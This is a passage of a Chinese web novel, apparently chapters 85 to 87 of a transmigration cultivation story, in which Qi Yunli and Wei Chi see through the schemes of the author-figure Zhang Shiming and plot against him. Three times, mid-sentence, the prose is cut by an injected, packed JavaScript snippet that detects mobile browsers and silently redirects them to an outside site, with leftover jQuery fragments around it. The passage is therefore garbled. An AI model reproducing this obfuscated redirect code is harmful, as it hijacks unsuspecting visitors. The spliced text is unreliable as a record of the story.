张师铭说出重磅消息,但是又跟小说有点吻合。毕竟鼎山灭门的罪魁祸首,很多人都觉得是小说男主。 他或许会受到其他人炉影响,对鼎山心生不满。因为大多人炉都位于止水宗,止水宗跟鼎山可是势不两立。 即使不会让他主动祸害鼎山,但也许会对某些东西视而不见,有时该出手时不出手就能引发最大灾害。 止水宗跟鼎山弟子打了很多次,始终难分胜负。 那么在其他地方留一手,也不是不可能。 虽然过于离谱,但是现在离谱已经见怪不怪。 因此齐云鲤很疑惑:“这是怎么说,鼎山灭门难道还跟他有关?” 说出这句话就说明她看到最新一章,张师铭毫不意外。 毕竟孙仲礼可遇不可求。 “其实就跟他有关……”他艰难说出实情。 齐云鲤有点震惊:“鼎山跟他无冤无仇吧?” “但是跟止水宗有仇……”张师铭委婉说出一件事。 这就跟小说读者的猜测不谋而合。 势不两立的止水宗必定不会错过任何机会,但如果真是如此,这种事就有点超纲。 按理来说这种事已经超出止水宗能力范围,只有远离俗世的世外高人才有这个本事。 跟止水宗有关的世外高人是菩提慧海。 说到这里其实没有问题,但齐云鲤已经见过菩提慧海。 菩提慧海可以照此一战,不过他根本没空。 那人从早到晚都在忙着哄小孩,除此之外什么也不想管。 齐云鲤当然不能说破,就问:“通过止水宗人炉影响他?” “人炉其实远超世人所想……”张师铭再次叹息。 齐云鲤只能说:“那他对鼎山来说是个隐患?” “对他的师父来说,也是如此。”张师铭有点无奈。 他的师父就是齐云鲤,她昨天惨遭毒手,差点殒命。 这岂止隐患,都已经成为灾害。 齐云鲤一时无话可说,不是被震惊,而是张师铭的弯弯绕绕太多,她都走不出来。最后只能问:“那昨天是怎么回事?” “昨天他在飞泉院能顺势搅动那边的龙息,受到影响的我们就会斗起来。”张师铭将责任推得一干二净。 昨天吵成那样,如此一说便清清白白。 齐云鲤只好问:“其实是止水宗要做这种事?” “止水宗要做的不止于此。”张师铭皱眉摇头。 齐云鲤感慨:“他们还要鼎山灭门……” “所以接下来还会有更多事发生。”张师铭又说。 齐云鲤皱眉问:“那么昨天算一个预警?” 如果之后毁天灭地,那么大吵一架实在小事一桩。 “希望我们能及早发现真相吧……”张师铭叹息。 齐云鲤很奇怪:“你是小说作者难道不知道?” “我只是写出某种结果,过程一无所知。”张师铭十分无奈。 他说得既无可奈何,又理所当然。 齐云鲤只好说:“这种事应该告诉鼎山掌门吧?” “他闭关修炼也联系不到。”张师铭摇摇头。 齐云鲤问:“那我告诉罗白音?” “还是不要轻举妄动。”张师铭劝阻。 大难临头却不能告知旁人,怎么看都不对劲。 既然谁都不能说,那还告诉她干什么? 齐云鲤皱起眉头,没说话。 张师铭知道沉默太久会出问题,就说:“我们先调查清楚,一旦惊动鼎山中人就可能有变数。” “小说不是你写的吗?”齐云鲤还是问。 张师铭解释:“我只写到中途,如今还没出现的东西全都浮出水面,实在超出所料。” 这话太过顺理成章,齐云鲤只想说无论如何都写不到她,但自己出来了。 小说作者怎么也想不到原作者杀出一条血路,还打算送他上路。 “没写难道就不知道?”齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336871|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云鲤问得有点讽刺。 张师铭说:“我只是有个粗略大纲,具体情况知之甚少。” “也就是说结局注定,但过程可以变?” “可能结局也不确定。”张师铭无奈叹息。 说得像是他只负责开头,结尾就自由发挥。 齐云鲤也无话可说,只能说没有注定死路一条,那就还有希望。 如果非得有人死,那么绝对是张师铭。 “怎么调查?” “重点是不要打草惊蛇。” 齐云鲤原本只想钓鱼,结果被张师铭弄得心力交瘁,她感觉就是换着花样又被打一顿。 “行吧,我先休息一下,”她无奈甩出鱼竿,“也许我只擅长料理。” “有鱼汤也不错。”张师铭见她听进去了,便不再逗留。 玄镜池里没有鱼,齐云鲤忘记施法布阵,因此坐大半天也没有动静。 很久以后背后才有人提醒:“这里没有鱼。” “我只是想钓,不是要鱼。” 齐云鲤说得顺理成章,池水是平静内心的地方,水静才能心静。 既然外力过大,那也得靠外物才能静下来。 张师铭胡说八道一通,最后说结局未定,无论真假都不可小觑。 鼎山灭门导致小说断更、读者穿书、元真丧命,如果能平稳度过龙骨论战,是否接下来的一切都有转折? 即便逝去之人不可挽回,但局面还能扭转。 元真虽死,幽冥大帝还在。 真龙没有睁眼,但化龙之人可以借势而起。 这片天地还不是死路一条。 就像玄镜池的水中没有鱼,却有龙息之力。 销声匿迹只是藏得好,不是灰飞烟灭。 卫池不知道齐云鲤在想什么,不过他在晨练之地遇到孙仲礼,所以结束后又说了很多。 孙仲礼虽然失望,但是对张师铭并没有绝望,他劝了很久也没办法。 如果说齐云鲤的话孙仲礼完全不听,那么他的话也只能走到这里。 他已经气力耗尽,可那边还精力旺盛。 回到玄镜池,卫池就想起之前的事,于是说:“张师铭跟我说你有问题。” 这是他的概括,张师铭没有直接说这句话,表达得相当委婉。 好像有问题,又可能没问题,究竟如何还要观察。 不过都已经说到这里,再观察也不会改变方向。 无论如何她都有问题,只是如何下手,动手力度有多大的差别。 齐云鲤毫不惊讶,在张师铭那边自己如果没问题,那才是问题。 她只是说:“他跟我说你有问题。” 那个人可不是只要对付自己一人,当然是越多越好。 小说男主不听他号令就是最大问题。 他详细分析问题所在,把能加上的东西全都算进去。 卫池跟止水宗有深仇大恨,那就将他们牢牢绑定。 谁也看不惯谁,却谁都离不开谁。 两个被污蔑的人相见,当然要核查情报。 因此齐云鲤先说:“他说你被止水宗人炉影响,会不知不觉弄乱鼎山。” 从小说剧情来看是有这个可能,但这里不是小说。 听到这话卫池就眉头紧皱,如果他会给鼎山带来祸患,那还不如趁早自尽。 虽然是假的,但是太过恶心,他完全想不出还有这种事。 如果还会跟止水宗合作,那自己就不会走到这里。 最后卫池只能说出同样离谱的事:“他说你已被人夺舍。” “太能编了……”齐云鲤不禁感叹。 说什么都不意外,就是他精力这么旺盛,怎么不去填坑? 张师铭编造出来的谎言都是量身定制,针对不同目标采取不同措施。 人炉在鼎山绝无仅有,就说人炉受止水宗影响。 化龙之人前所未有,就说已经被夺舍。 原本是极其稀少的宝贝,却成为超出所料的隐患。 卫池没有发表感慨,只是问:“在他嘴里人炉可以如何弄乱鼎山?” “他说你受止水宗人炉影响,搅动飞泉院龙息,所以我们才会吵起来,”齐云鲤略微停顿,又说,“而且还有后续。” 无论后续是什么,反正不会好。 “他说你被夺舍的事还有待观察。”卫池简单说明。 齐云鲤猜测:“感觉他在你那边还有后手。” “什么后手?” “毕竟是鼎山人炉,也许他把筹码都压在你那边。” 既然不能点破小说的事,那就得换一种方法突出卫池的与众不同。 世间人炉何其多,但是鼎山人炉只有一个。 鼎山人炉会引发意想不到的事也合情合理。 曾经他们又打又吵,如今心平气和交流情报,只能说世事难料。 但是过去的轮回中并非只有一面。 在飞泉院外发生的就是截然相反的另一面。 惊天雷霆落下,卫池挡住一大半,齐云鲤这才保住一命。 如此看来现在合作或许会有很大胜算。 86. 愿者上钩 一开始卫池就说过轮回,但那时两人初次相见,所以更像威胁。 齐云鲤只是觉得这人有点深不可测,就再无其他。 彼时谁也不清楚是怎么回事,只能小心提防。刚被面具人打过,自然要提高警惕。 如今确定面具人的身份和意图,解决他就行。 张师铭神秘莫测、不可捉摸,他们也可以,有一大堆他想不到的事。 既然如此那他们就要弄清楚眼前的一切,这样才有保障。 轮回有很多次,但张师铭不会留意其中细节。 连鼎山掌门他都不屑一顾,怎么可能正眼看芸芸众生。 然而或许就是那毫不起眼的人,让他没有胜算。 卫池虽然没有大作为,但他是鼎山人炉,怎么看都不同凡响。 而且人炉跟龙息有联系,也就是跟天地相连。 ——无论如何都不是渺小蝼蚁。 曾经天雷劈来,卫池用人炉之火才帮齐云鲤挡住致命一击。 若是没有他出手相救,她早就烟消云散。 天雷起于面具人,也就是穿书者之力。 人炉之火能单独与之抗衡,就说明人炉绝非等闲。 如果对抗张师铭的时候还能使用人炉之火,或许就不可估量。 齐云鲤问:“怎么你曾在飞泉院外能用人炉之火?” 人炉之火虽然出自人炉,但人炉不可能自己获得。 毕竟只有经过锤炼才能有,而锤炼就是惨无人道的折磨。 按理来说那时的卫池不应该有人炉之火。 每一次轮回卫池都有印象,所有鼎山灭门里只有一次不同寻常。 那次他一如既往跟随鼎山弟子赶往飞泉院,结果在飞泉院外看到两个魂魄。 虽然朦胧模糊,但的确就是两个人。 远处天雷滚滚,眼看就要劈过来。 当时四周都是鼎山弟子尸骸,似乎那两个魂魄牵连众人生死。前方师兄师姐都没能对抗飞泉院的杀招,因此卫池也不抱希望。 但那时的雷霆只有自己能抗衡,因为他是人炉,而且有人炉之火。 他无法影响飞泉院里的局势,那就挡住五雷轰顶。 所以卫池掏出人炉之火,之前他被止水宗关过很长时间,在此期间见识到人炉被百般折磨后吐出的人炉之火。 卫池感觉自己也逃不出这个命运,所以就亲自炼化出人炉之火。 虽然施法布阵他一无所知,但九死一生已经相当熟悉。 人炉之火对他来说无关紧要,但重要的是:“你怎么知道?” 那是很久以前的轮回,而且当时齐云鲤已经消失。 “我就是那两个魂魄中的一个。” 没人说魂魄,也没人说数量是二,但齐云鲤知道。 只能证明她就是亲历者,而且经历了仙子林惨案和鼎山灭门。 二者都影响深远,令人无法平静。 近百个轮回里,卫池始终孤身一人,如今却出现货真价实的同道中人。 “你是其中一个魂魄?”卫池相当惊讶。 当时飞泉院外墙上有两个魂魄,虽然无法识别身份,但明显没有害。 毕竟鼎山有丹青宝卷那种地方镇压妖魔鬼怪。 能直接出现在那里,没有任何人过去抓捕,就说明没有危害。 齐云鲤沉默很久才说:“还有一个是元真。” 她是其中一个,元真是另外一个。 原本要共同回到现实世界,结果一死一伤。 这个回答绝无仅有,经历近百个轮回还在意元真的人只有一个。 卫池不由回想起当时那两人的关系好到无法形容。 所以齐云鲤死于千溪镇后,元真直接把眼睛哭瞎。 无论怎么争吵都难以破坏她们的关系。 元真失魂落魄一段时间就销声匿迹,再后来幽冥大帝便换了一个人。 谁也不知道怎么回事,但是看到幽冥大帝旁还站着云玑子,卫池就隐隐猜到真相。 一个人命丧黄泉,另一个人便想方设法去找她。 ——不过最后还是被天雷劈碎。 “我自己能炼化出人炉之火。”卫池只是回答之前的问题。 自己的疑惑已经解除,那就该回答问题。 齐云鲤相当震惊:“你自己可以做到?” 卫池点点头,没有说话。 最初在禁地,卫池掏出人炉之火交给齐云鲤。 她还在怀疑人炉之火的出处,没想到就出自人炉。 按理来说,这是绝不可能发生的事。 不过离谱至今也该习以为常。 之前两人都没交流过详细经历,这次便能一说到底。 既然齐云鲤能问出那个轮回的事,卫池也能问另一个轮回的事。 “当时在仙子林里,你发现了什么?” “……不就是你们被攻击?”齐云鲤避而不谈。 当时鼎山弟子被攻击,但不是寻常事物的攻击。 众人获救后,仍提心吊胆,谁也想不出究竟是怎么回事。 接着齐云鲤说事情已经过去,让他们先行离去。 她清理一下战场再离开。 “除此之外。”卫池态度明确,他当然知道没那么简单。 而且自己又从后来的秘境里发现真相,在仙子林里动手的不止一人。 齐云鲤知道瞒不过去,只好含蓄地说:“还有些不寻常理、有违天道的东西。” 当时就是太多匪夷所思的东西,所以她才留下来。 只不过现有问题没解决,又出现新问题。 卫池见她说得很模糊,就指出:“面具人在那里施法布阵,夺取生机之类的东西。” 这是仙子林一开始就有的问题,而且持续时间很长。 “……生机?”齐云鲤有些迷惑。 卫池举例说明:“寻常人的生机,修道人士的修为功法,人炉的人炉之火。” ——这就是人尽其才,物尽其用。 “我就是被他害死的。”齐云鲤瞬间就锁定目标。 那人觉得自己凌驾于万物之上,所以其他人遭受折磨无关紧要,关键是他不能地位下降。 从始至终他都在做同样的事。 即使表现形式各有不同,但本质都一样。 这次她吐血倒地就如出一辙。 卫池很好奇:“不是青湖?” 之前仙子林里的幻境就说明与她有关。 “她原本是要对付面具人,只是一时认错人。”齐云鲤摇摇头。 受害者居然帮杀人凶手解释,卫池实在想不到。 他只能问:“在仙子林是她动手的吧?” “是青湖干的,所以我现在用她的躯体,她还在九炼洞窟。”齐云鲤的态度相当平和。 卫池很不可思议:“你就这么接受了?” “三年里打过也吵过,最后发现问题没解决一切都白费。” 卫池有些疑惑:“什么问题?” “鼎山的问题。”齐云鲤说。 “鼎山问题是什么?” “主要就是面具人。” 齐云鲤解释得很清楚,卫池也为张师铭头疼。 那个人以报恩为名,给鼎山添了很多乱,众人拿他没办法,只好忍气吞声。 而且他把孙仲礼骗得心服口服,即使已经失望,但还不会绝望。 卫池实在束手无策,只能问:“有什么办法?” “既然他骗你,那就可以顺着他的思路骗他,”齐云鲤分析道,“让他以为自己赢了,其实是被骗。” 小说作者想让小说主角承认自己的地位,那就给他戴高帽子,让其飘飘然。 虽然他们两人都被骗,但是明显只有卫池那边还有后手。 也许骗来骗去,重点都是小说主角。 毕竟张师铭想在这边成为人上人,就得解决最棘手的主角。也许他都没想到,自己写的主角最后会去麻烦他。 “骗他什么?”卫池相当迷惑,他还没想过这种事。 “他可能会要你干点事,”齐云鲤根据孙仲礼的情况分析,“你就假装相信,但是让他拿出筹码。” “他的筹码未必对我有利。”卫池客气地说。 “所以只是让他放松警惕,能否趁机利用就看你的本事。” 齐云鲤说得稀松平常,完全没把骗人当回事。 这就跟卫池的态度迥然不同。 他过了很久才说:“那人估计已经能化龙。” 化龙的事已经说过,不过卫池还是难以放下。 “所以我还要化龙。”齐云鲤依然语气肯定。 卫池问:“两次化龙之后呢?” 化龙两次必死无疑,这是千真万确的。 “我还有所准备。”齐云鲤毫不担心。 卫池又迷惑起来:“什么准备?” “继续打他的准备。”齐云鲤说得很长远。 跟张师铭的较量基本就在龙骨论战,如果还能继续,就说明龙骨论战已经平安度过。这是从未发生的事。 经历近百个轮回,卫池也没能做到。 他只好问:“还能继续吗?” “只要他还没死,就能继续。”齐云鲤做出保证。 张师铭看起来不会就地正法,也就是说鼎山中人也没走到尽头。 这是个相当稀奇的保证,但卫池希望千真万确。 齐云鲤还在钓鱼,他就说:“这里面没有鱼。” “我钓的又不是鱼。”齐云鲤摇摇头。 “还能钓什么?” “就看你能不能骗到他吧。”齐云鲤想了想。 骗人和钓鱼在这里是一路的。 卫池没有意见,只是问:“什么时候合适?” “明天吧,就说我今天钓了一天鱼,相当匪夷所思,毕竟根本没有鱼,”齐云鲤顺势说,“他刚好也知道我在钓鱼。” “明天我去找他?” “说不定他会来找你。”齐云鲤推测。 既然张师铭在卫池这边下注,那么就会继续关注他的情况。一旦有什么变动,就说明他该出马。 至于变动就是—— “你在这里钓鱼,鱼没上来人不能走。”齐云鲤把鱼竿交过去,然后推着轮椅走了。 卫池只好拿着鱼竿,在没有鱼的池塘钓鱼,不知道还能钓上什么。 他通宵坐在池塘边想了很多,既然跟齐云鲤联手,那应该能解决很多问题。 只是问题太多,也不知道能做什么。 昔日发现有人刻意让鼎山灭门,然后毁天灭地,于是他以人炉之火连接天地,让一切回到从前。 那人让鼎山不断灭门,他就让鼎山不停重生,一生一死就是近百个轮回。 如今走到这里,也不清楚鼎山是否还会灭门。 不过曾经命丧黄泉的救命恩人回到这里,也许就能将鼎山带上生路。 既然幽冥大帝掌管死,云玑子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343445|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象征生。 那么齐云鲤或许真能保住鼎山一命。 至于坐在这里能钓到什么,卫池实在想不通。 不过第二天他就发现确实能钓到东西,因为面具人来了。 张师铭的到来伴随着晨光,他踏着光而来,似乎照亮玄镜池的阴暗。 池塘边的卫池浑身上下仿佛都没有光。 一白一黑,一明一暗,张师铭觉得稳操胜券。 “你怎么坐在这里?”他看到卫池拿着鱼竿,明知故问。 卫池皱起眉头说:“我在这里钓鱼。” “我在这边住了三年,没看到鱼啊?”张师铭有点惊讶。 卫池略微一叹:“师父说有,因此让我钓。” “大清早就让你钓鱼?”张师铭更惊讶。 卫池无奈叹息:“其实昨天已经来了。” “青湖不可能不知道玄镜池没有鱼。” 这句话言外之意很明显。 按理来说应该知道池里没有鱼,实际却让徒弟来钓鱼。 可见那个青湖有问题,玄镜池的情况一无所知。 发现鱼已经上钩,卫池便收起鱼竿,叹了一口气。 “我观察到一点问题。”这句话有点沉重。 之前张师铭说有待观察,现在观察结果已经出来。 “虽然有点严重,不过不是没法解决。”张师铭知道问题是什么,就劝说。 卫池问:“怎么解决?” 夺舍一事确实存在,但是不好对付。 很多时候发现夺舍也无可奈何。 “按理来说那些人只是借助这个通道回来,并非刻意夺舍。”张师铭解释说明,青湖的事全是他个人编造,自然想怎么说就怎么说。 卫池皱眉问:“难道还把他们能引出去?” 对方开始编,那么他也开始编。如今看来骗人和钓鱼果然是一回事。 “弄出其他通道,让那些人走出去。”张师铭顺势说。 卫池继续问:“怎么还有其他通道?” 他都说得匪夷所思,结果对方还能更离谱。 “这是一个相关阵法,或许能打开她周围的其他通道。” 张师铭递过来一张纸,卫池打开就发现上面画着个错综复杂的阵法,不是世上已存的任何阵法。 阵法上的符号和图案千奇百怪,既有攻击也有防御。 单从阵法形状来看,找不出任何问题。 不过如果这能与其他阵法相连,那么可以做的事就很多。其他阵法可以通过这个阵法施展手段,而这个阵法可以挡住很多东西。 只能感慨张师铭此人深不可测。 “这个还不能确定最终效果,只能暂且一试。”张师铭见他神色怀疑,就解释说明。 卫池更加怀疑:“难道还能改?” “只要还没使用,就能进行调整。”张师铭继续解释。 卫池说:“那我用你来试一下。” 这种态度颇有张师铭的风格。 他知道不是虚话,就说:“还是找点花花草草吧。” “花草怎么比得了人?”卫池有点嫌弃。 “总不至于还拿活人来试吧?”张师铭似乎很为难。 虽然这么说,但他时常拿活人来试验阵法效果。 就连止水宗也做不到这个地步,虽然有人用,但频率没那么高。 毕竟大家都是人,以他人来试验总感觉会有大刀劈到自己身上。 风险太大,不到万不得已实在没必要。 不过张师铭就没将世人当人看,万事万物、芸芸众生都只是简短词句。他将错误内容去除,天经地义。 卫池不知道他的想法,只是表现出不放心:“你无法确定还拿给我?” 对此表示怀疑才符合他的形象。 小说主角很警惕,不会轻易相信他人说法。 这与张师铭看法一致,只有短期无法确定,他才能反复过来。总不至于每次都率先布阵,查探玄镜池动静。 这次能施法布阵,全因为昨天在此停留时间长。 他发现小说主角始终在池塘边,这才过来查看情况。 那个阵法已经没用,下次要过来得换种手段。 张师铭觉得自己英明神武、神机妙算,小说主角再棘手也不能把他怎么样。 卫池不知道他在沾沾自喜,只是见他有点得意洋洋就不想说话。 于是收好图纸就往回走,钓了一晚上鱼,他也该回去休息。 张师铭见小说主角转身离开,也没有过多表达,只是转头看着池水。 卫池的池就是玄镜池的池,自己能在这里呆三年,所以也能让他听令行事。 这边告一段落,齐云鲤那边却还没开始。毕竟被打倒就一直休息,相关大小事务还没商量,那些才是重点。 来到飞泉院,罗白音见她还坐着轮椅就皱眉问:“你还没起来?” “坐在这里才显得我身体羸弱,还是你办法好。”齐云鲤夸起来。 罗白音对夸赞不予理会,只是问:“那么你被打了,有什么办法?” “他之后来看我,还说不能将这件事告诉掌门。”齐云鲤强调。 罗白音沉默片刻才说:“掌门已经知道。” “他出关了?” “情况有点复杂,问题比较大。” 罗白音主动说这种话,就证明极其严重。 齐云鲤以为发现张师铭蓄势待发就已经够严重,结果好像还有胜者。 87. 惊天大秘密 太渊真人是鼎山掌门,功法高超绝非等闲,世上能胜过他的人不超过五个。 在修道人士那边他算高不可攀的存在,只可仰望,只能远观。 而且他还是少年模样,容颜不老还能功法高超可谓世间罕见。 毕竟容颜不老就需要消耗很多功法,这样还能功法高超,那实际修为功法几乎无人能敌。因此相传有五人能胜过他,都是虚的。 无人能敌,这才是修道人士的真实感受。 所以鼎山再不给三渺宗面子,也没人过去砸场子。 毕竟鼎山弟子再怎么资质平平,鼎山掌门也无人能敌。 鼎山弟子靠着太渊真人的威名,在修道人士那边有了可靠保障。 虽然太渊真人神出鬼没,基本不见踪影。 但是只要触及鼎山根本,太渊真人就能瞬间出现,吓得那些图谋不轨之人胆颤心惊。 由于太渊真人威名太大,所以鼎山中人也不计较他不理门派琐事。 鼎山大小事务就交给飞泉院和鼎山长老。 这种可望不可及的角色知道张师铭在飞泉院挑事,还评价情况复杂问题大,那就不是常人能应对的问题。 齐云鲤见罗白音神色有点凝重,就知道大事不好。 虽然已经有很多事,不过还有更要命的问题。 要命到太渊真人和罗白音都觉得不太妙。 原本她不敢问,不过想到自己是穿书者,还是原作者,就感觉一切问题都不算什么。既然已经这样,就不信还有更惨的事。 于是她问:“具体什么情况?” 这个问题至关重要,罗白音没有避而不谈,只是说得很普通。 “掌门说张师铭是他叫来的,世间原本没有这个人。” 小说角色叫来小说作者,这已经超出想象。 而小说角色还说出这件事,说明他都无法抗衡。 齐云鲤觉得自己太过天真,她觉得穿书已经够离谱,没想到起因居然来自小说。小说人物将现实世界的人叫来,结果弄得毁天灭地。 想过千百种可能,实在没想过还有这种事。 她实在没什么好说的,只能坐在轮椅上装死。 罗白音也不计较齐云鲤的反应,见她不想说话便转头干其他事。 之前那个青湖烦得不得了,现在这个青湖好歹还会听人说几句话。 情况已经大为好转,要求就不用太高。 齐云鲤坐在那里一言不发,开始回忆整件事的过程。 看起来像是鼎山灭门,太渊真人在最后一刻出现,施展毕生功力将小说作者叫过来。张师铭发现意外之喜,于是让鼎山掌门施法再叫读者过来。 与此同时,卫池用人炉之火让时间回到很久以前。 两边搞来搞去,穿书者越来越多,这个天地也越来越脆弱。 事到如今作者和读者打起来,鼎山掌门仿佛还在不远处加油助威。 ——他就不能解决张师铭? 过了很久,罗白音才无奈地说:“即使这样,掌门还觉得他是好人。” 齐云鲤原本还瘫坐在轮椅上,结果被吓得直接站起来。 这不就是另一个孙仲礼? 鼎山掌门容颜不老,估计还没遇到让人心力交瘁的事。 所以完全不管鼎山事务,到处游走。 “掌门是不是还干了什么?”齐云鲤怀疑。 罗白音长叹一声:“他一直在配合张师铭。” ——最能打的和最能编的彼此配合。 齐云鲤都要窒息,两个最麻烦的人大力合作,把世间搞得天昏地暗。 而且其中一人劝了还不听。 她不由想起孙仲礼,那也是个不听劝的小孩。 自己说出正确答案,他就是不听,而且审题都审不对。最后让卫池去说,感觉也只是稍有好转,没有明显效果。 问题和答案都已经摆出来,他还是不信。 看来九炼洞窟的秘境还得加大力度,让他再怎么坚持也只能接受现实。 既然怎么都不听,那就让他亲眼看看真相。 想到这里,齐云鲤只能说:“也许得让他亲眼目睹张师铭是什么人,不然空口无凭。” 这个办法比较危险,罗白音问:“亲眼看他怎么害人?” “所以到时候保命要紧,不要冲动,”齐云鲤重点强调,“关键在于引出张师铭的敌意。” 张师铭想干什么要干什么,都得让太渊真人亲自见证。 “就是演戏?”罗白音有些怀疑。 齐云鲤点点头:“演戏也有生命危险,一定要小心。” “难道全靠他一人?”罗白音继续怀疑。 “有些事只有他才能做到,到时候鼎山可能有灭顶之灾。” 灭顶之灾是鼎山常态,只不过卫池以外的人都不知道自己深陷其中。 这时的这句话仿佛危言耸听。 “……你说真的?”罗白音相当疑惑。 虽然很像胡说八道,可真龙飞天,张师铭来到鼎山都指向那里。 毕竟鼎山连接九炼洞窟,那里就有最后的真龙。 齐云鲤只能说:“张师铭准备这么久,不可能只是为了对付一两个人。” 那个人图谋不轨,这是鼎山众人皆知的事。 他蛰伏三年,为的不可能是世俗名利。 不久之后就是龙骨论战,罗白音只能问;“你不是还要化龙?” “他也会化龙,可能就顺势让你们全军覆没。”齐云鲤说出推测。 张师铭化龙的事,罗白音也知道,不过顺势让鼎山中人全军覆没…… ——也不是不可能。 “……那确实只有太渊真人才能挡住。”罗白音无奈道。 齐云鲤指出:“他挡住,你们才有活路。” “我来让他挡住,你负责打架就行。”罗白音做出保证。 众人分工合作,让龙骨论战之后世上仍有鼎山中人。 齐云鲤知道已经得到有力保障,于是就问:“冬青在哪里?” “你找她干什么?” 齐云鲤指出:“鼎山龙息的事只有她清楚。” 龙息关乎化龙,化龙关乎打架,打架关乎鼎山存亡。 罗白音发现事关重大,就说:“她在外面的小木屋里。” 齐云鲤点点头,叹口气便推着轮椅出去,一时间仿佛真的已经下肢瘫痪。 另一个坐着轮椅的人则在思考演戏之事。 争斗不止打斗,那就可以选择一种平静方式,让张师铭暴露无遗。 飞泉院外有一座小木屋,造型很简单,没有复杂装饰。 不过里面住着龙息化身,因此再多眼花缭乱都不如房间主人。 冬青还在弄盆栽里的月季,此时不是月季花期,但已经开花,只是花瓣与上次相比干枯不少。 “最近没浇水吗?”齐云鲤看到这一幕有点奇怪。 冬青没抬头,只是气呼呼地说:“浇水也没用。” “因为打我的那个人是吧?” 她说出这句话,冬青一听就知道不简单,于是抬头问:“你要怎么办?” 既然是龙息化身,那说话就简单很多。 因此齐云鲤说:“当然要还手。” “你还打得过他?”冬青十分奇怪,这个青湖才被打吐血,现在都坐轮椅。 齐云鲤知道她的顾虑:“只有靠你才行。” “我又不能打架。”冬青有点懊恼。 龙息杀意十足,她却被禁止打斗,以至于只能栽花种草。 齐云鲤只是问:“鼎山龙息不是只有禁地能用吧?” “禁地龙息很多,可以化龙。”冬青说得很直接。 齐云鲤指出:“估计我抢不到,那个人也要化龙。” “禁地那一条线龙息都多。” 那一条线就是禁地、白鹭坪和玄镜池。 三个地方都跟龙息关系密切。 不过跟青湖关系最密切的当然在最下面。 于是齐云鲤问:“玄镜池呢?” “你想用玄镜池的龙息?”冬青有些疑惑。 “难道不行?” “那边水多,龙息是用来生的。” 天一生水,天一道人生的水就在玄镜池,玄镜池的水与真龙息息相关。 鼎山充满龙息,玄镜池的水就得滋养龙息。 龙息的保护作用本质上就是保护真龙。 “不解决龙息之灾,龙息之力就出不来。” 齐云鲤没有否定生,只是要保障四周环境,若是凶险万分,生了也只会死。 “只要你打张师铭,我就同意。”冬青知道最大威胁是什么。 环境恶劣的核心就是那个人。 虽然没错,但齐云鲤有些无奈:“不打他,难道还等死?” “只要打他就绝对不会死?”冬青有些好奇。 这个问题有点异想天开,鼎山灭门近百次,谁也不能保证能平安无事。 不过齐云鲤既是读者也是原作者,也就能猜出一些东西。 之前只有张师铭知道很多门道,所以他能趁机利用。 但他都无法确定故事结局,也就是说他不知道的东西也很多。 而小说作者不知道的东西,或许读者和原作者知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348163|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 龙骨论战就类似一场赌博,无论结果怎样,小说作者都要确保赌局还能继续。 只要继续,输了也能再赢回来。 因此张师铭无论如何都要保证鼎山幸存。 之前都是他让鼎山灭门,众人束手无策。 接下来就让他保住鼎山,众人大展拳脚。 为非作歹、不管不顾的感觉很好,因此齐云鲤说:“除非他也死了。” 既然不能赢,那就谁都别想赢。 冬青无法理解话里的意思,不过这个青湖做出保证,那就不用再操心。毕竟青湖能住在玄镜池,也不是巧合。 跟玄镜池和平相处这么久,基本已经获得某种肯定。 不像那个张师铭,住在玄镜池就搅得她不得安宁。 如今要打他,玄镜池肯定欣然接受。 见她坦然接受这件事,齐云鲤就说:“你去劝劝鼎山掌门吧,他还觉得张师铭是好人。” “如果他是好人,那我的月季早就没事。”冬青很气。 齐云鲤说:“虽然现在空口无凭,但多说几句也算准备。” “空口无凭到什么时候?”冬青有些疑惑。 “等我们打了他就证据确凿。” 证据确凿鼎山掌门才不会觉得张师铭是好人。 而齐云鲤说的是“我们”,也就是还包括冬青。 太渊真人始终不准她动手,冬青十分郁闷。如今可以去打张师铭,那真是再好不过。 “什么时候打?”冬青很期待。 齐云鲤估计:“……差不多龙骨论战吧。” “那就不到半个月!” 半个月时间很短,冬青十分兴奋,齐云鲤却有点焦虑。毕竟事情太多,感觉忙都忙不过来。 时间紧迫,她只能说:“我去其他地方做准备,你也别浪费时间。” 之前让卫池骗张师铭,也不知道结果怎么样,她要赶紧去确认一下。 玄镜池一带风平浪静,丝毫没有被飞泉院影响。 不过平静的地方未必太平,齐云鲤深有体会,木屋侧门没打开,估计里面人还没醒。 她也不知道卫池什么时候才休息,反正天亮之后就没看到人。 想必张师铭已经来过,所以事关重大,必须谨慎对待。 齐云鲤坐在池塘边,用功法变出细丝在水里荡来荡去。日后要用玄镜池龙息,那就先准备一下,以免平静太久龙息都不想动。 “这里没有鱼……”很久之后,身后传来一个声音。 